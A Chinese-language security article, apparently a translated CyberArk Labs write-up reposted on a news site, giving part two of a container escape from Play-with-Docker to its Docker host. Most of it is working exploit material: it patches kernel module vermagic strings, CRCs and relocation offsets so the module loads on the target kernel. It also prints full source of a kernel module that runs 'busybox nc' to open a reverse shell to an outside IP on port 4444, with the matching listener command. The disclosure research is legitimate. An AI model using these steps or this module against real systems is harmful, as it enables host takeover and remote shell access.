當前位置:
首頁 > 新聞 > 攻擊者是如何從Play-with-Docker容器逃逸到Docker主機的(下)

攻擊者是如何從Play-with-Docker容器逃逸到Docker主機的(下)

第3步:編輯相關的欄位以匹配目標內核。

我們需要替換vermagic(見第5行)和CRC(見第25-27行),使其匹配目標內核。

之後,我們就得到PWD的CEPH.KO模塊。

為了從ceph.ko模塊中提取內核版本和函數的CRC,可以運行modinfo命令:

$ modinfo ceph.ko

filename: /root/cprojects/kernelmod/play-docker/ceph.ko

license: GPL

description: Ceph filesystem for Linux

author: Patience Warnick

author: Yehuda Sadeh

author: Sage Weil

alias: fs-ceph

srcversion: C985B22FADB19E9D06914CC

depends: libceph,fscache

intree: Y

vermagic: 4.4.0-96-generic SMP mod_unload modversions

signat: PKCS#7

signer:

sig_key:

sig_hashalgo: md4

記錄vermagic字元串。請注意,它有一個尾隨的空格,複製時,請不要忘了這一個空格。

生成的頭文件需要用到3個CRC符號:

module_layout, printk and __fentry__.

為了找到這些CRC,需要對目標內核的ceph.ko模塊運行modprobe命令:

# modprobe --dump-modversions ceph.ko | grep printk

0x27e1a049 printk

# modprobe --dump-modversions ceph.ko | grep module_layout

0xfc5ded98 module_layout

# modprobe --dump-modversions ceph.ko | grep __fentry

0xbdfb6dbb __fentry__

現在,請編輯probing.mod.c,修改vermagic字元串和CRC,使其變為:

#include

#include

#include

MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions ");

MODULE_INFO(name, KBUILD_MODNAME);

__visible struct module __this_module

__attribute__((section(".gnu.linkonce.this_module"))) = {

.name = KBUILD_MODNAME,

.init = init_module,

#ifdef CONFIG_MODULE_UNLOAD

.exit = cleanup_module,

#endif

.arch = MODULE_ARCH_INIT,

};

#ifdef RETPOLINE

MODULE_INFO(retpoline, "Y");

#endif

static const struct modversion_info ____versions[]

__used

__attribute__((section("__versions"))) = {

{ /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) },

{ 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },

{ 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },

};

static const char __module_depends[]

__used

__attribute__((section(".modinfo"))) =

"depends=";

MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145");

請注意,printk和__fentry__的CRC並沒有進行修改,這意味著它們對於本地內核和PWD內核具有相同的CRC。

第4步:修改init_module偏移量。

載入probing模塊之前,需要完成的最後一步是修改其init_module可重定位偏移量。為此,需要檢查PWD內核ceph.ko模塊的ELF結構,以獲得可重定位的init_module偏移量:

$ readelf -a ceph.ko | less

向下翻卷,直到找到如下行所示內容為止:

Offset Info Type Sym. Value Sym. Name Addend

000000000180 052900000001 R_X86_64_64 0000000000000000 init_module 0

000000000338 04e700000001 R_X86_64_64 0000000000000000 cleanup_module 0

注意,init_module的可重定位偏移量為0x180。

接下來,需要考察probing模塊的init_module偏移量:

$ readelf -a probing.ko | less

向下翻卷,直到找到如下init_module所示內容為止:

Offset Info Type Sym. Value Sym. Name Addend

000000000178 002900000001 R_X86_64_64 0000000000000000 init_module 0

000000000320 002700000001 R_X86_64_64 0000000000000000 cleanup_module 0

從該輸出結果來看,該probing模塊的init_module可重定位偏移量似乎是0x178。我們需要對其進行修改,以便目標內核能夠執行已安裝模塊的函數。

為此,我們需要在probing.ko文件的地址0x1BF18處將該偏移量改為0x180。

實際上,我們可以藉助於chngelf工具來完成該任務:

$ chngelf probing.ko 0x1bf18 0x180

第5步:將「Probing」模塊載入到目標內核。

對於這個probing模塊來說,其下一個也是最後一個步驟是將probing.ko模塊傳輸到PWD容器,並嘗試將其載入到內核:

[node1] $ insmod probing.ko

如果載入成功,insmod將沒有任何輸出。

接下來,我們需要運行dmesg來轉儲內核消息:

$ dmesg

[1921106.716039] docker_gwbridge: port 67(veth4eff938) entered forwarding state

[1921107.452064] Loading probing module...

[1921107.456852] CRC of call_UserModeHelper = 0xc5fdef94

[1921107.464297] CRC of printk = 0x27e1a049

大功告成了!這樣,我們只要能在PWD內核中運行自己的代碼,就能獲得所需符號的CRC了。

第3階段:創建反向shell模塊

對於反向shell來說,我們需要使用內核函數call_usermodehelper(),它可以從內核空間中準備並執行用戶空間中的應用程序。

我們這裡將使用一個非常簡單的模塊:

/*

* @file NsEscape.c

* @author Nimrod Stoler, CyberArk Labs

* @date 29 Oct 2018

* @version 0.1

* @brief This loadable kernel module prepares a new device with

* the inode of mnt namespace, which allows a container to

* escape to the host by using enterns or setns()

*/

#include

/* Needed by all modules */

#include

/* Needed for KERN_INFO */

#include

/* Needed for the macros */

#include

#include

#include

///

MODULE_LICENSE("GPL");

///

MODULE_AUTHOR("Nimrod Stoler");

///

MODULE_DESCRIPTION("NS Escape LKM");

///

MODULE_VERSION("0.1");

static int __init escape_start(void)

{

int rc;

static char *envp[] = {

"SHELL=/bin/bash",

"HOME=/home/cyberark",

"USER=cyberark",

"PATH=/home/cyberark/bin:/home/cyberark/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/cyberark",

"DISPLAY=:0",

"PWD=/home/cyberark",

NULL};

char *argv[] = { "/bin/busybox", "nc", "54.87.128.209", "4444", "-e", "/bin/bash", NULL };

rc = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

printk("RC is: %i
", rc);

return 0;

}

static void __exit escape_end(void)

{

printk(KERN_EMERG "Goodbye!
");

}

module_init(escape_start);

module_exit(escape_end);

該模塊會調用busybox程序包中的netcat工具,它應該已經根據C2伺服器的IP和埠以反向shell模式安裝到了主機的文件系統上。

接下來,我們為nsescape代碼創建一個makefile文件,並進行編譯:

obj-m = nsescape.o

all:

make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules

clean:

make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

然後,執行下列命令:

$ make

make -C /lib/modules/4.17.0-rc2/build/ M=/root/cprojects/kernelmod/nsescape modules

make[1]: Entering directory "/root/debian/linux-4.17-rc2"

Building modules, stage 2.

MODPOST 1 modules

read continue

當make進程停止後,編輯文件nsescape.mod.c,就像我們對probing模塊所做的那樣,修改vermagic和CRC:

#include

#include

#include

MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions ");

MODULE_INFO(name, KBUILD_MODNAME);

__visible struct module __this_module

__attribute__((section(".gnu.linkonce.this_module"))) = {

.name = KBUILD_MODNAME,

.init = init_module,

#ifdef CONFIG_MODULE_UNLOAD

.exit = cleanup_module,

#endif

.arch = MODULE_ARCH_INIT,

};

#ifdef RETPOLINE

MODULE_INFO(retpoline, "Y");

#endif

static const struct modversion_info ____versions[]

__used

__attribute__((section("__versions"))) = {

{ /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) },

{ 0xdb7305a1, __VMLINUX_SYMBOL_STR(__stack_chk_fail) },

{ 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },

{ /*0xa7eedcc4*/ 0xc5fdef94, __VMLINUX_SYMBOL_STR(call_usermodehelper) },

{ 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },

};

static const char __module_depends[]

__used

__attribute__((section(".modinfo"))) =

"depends=";

MODULE_INFO(srcversion, "E4B73EA24DFD56CAEDF8C67");

修改vermagic,使其匹配目標內核,同時,還要修改module_layout和call_usermodhelper符號的CRC,使其匹配運行probing模塊時所獲得的數字。不過,其他CRC(printk、__fentry__和__stack_chk_fail的CRC)在這兩個內核之間貌似沒有變化。

最後,使用chngelf工具將輸出文件中的init_module可重定位偏移量從0x178改為0x180,就像處理probing模塊時所做的那樣。

在PWD主機上執行遠程代碼

現在,運行netcat,以準備好C2伺服器:

nc –l 4444 -vvv

最後一步是將nsespace.ko文件傳送到目標計算機,即Play–with-Docker容器上面,並執行如下所示的命令:

[node1] $ insmod nsescape.ko

這樣,我們可以使用遠程shell從PWD容器成功逃逸到主機了!

結束語

要想從Linux容器獲得主機訪問許可權,即使不是不可能的話,也是一項非常艱巨的任務。不過,在這個PWD示例中,情況好像並非如此。

其實,其中的原因很簡單:由於PWD使用了具有特權的容器,所以,在修復該漏洞之前,很難為其提供相應的安全防護。

雖然從PWD容器逃逸到主機非常困難——但正如我們在本文中所展示的那樣,這並不是不可能的。並且,Linux內核模塊注入只是攻擊者可以利用的途徑之一。並且,其他攻擊途徑也是存在的,所以,在使用特權容器時,必須妥善加以處理。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

惡意iOS APP偽裝成健身APP從iPhone和iPad設備偷錢
XPwn CTF將於1月15日在京震撼開啟

TAG:嘶吼RoarTalk |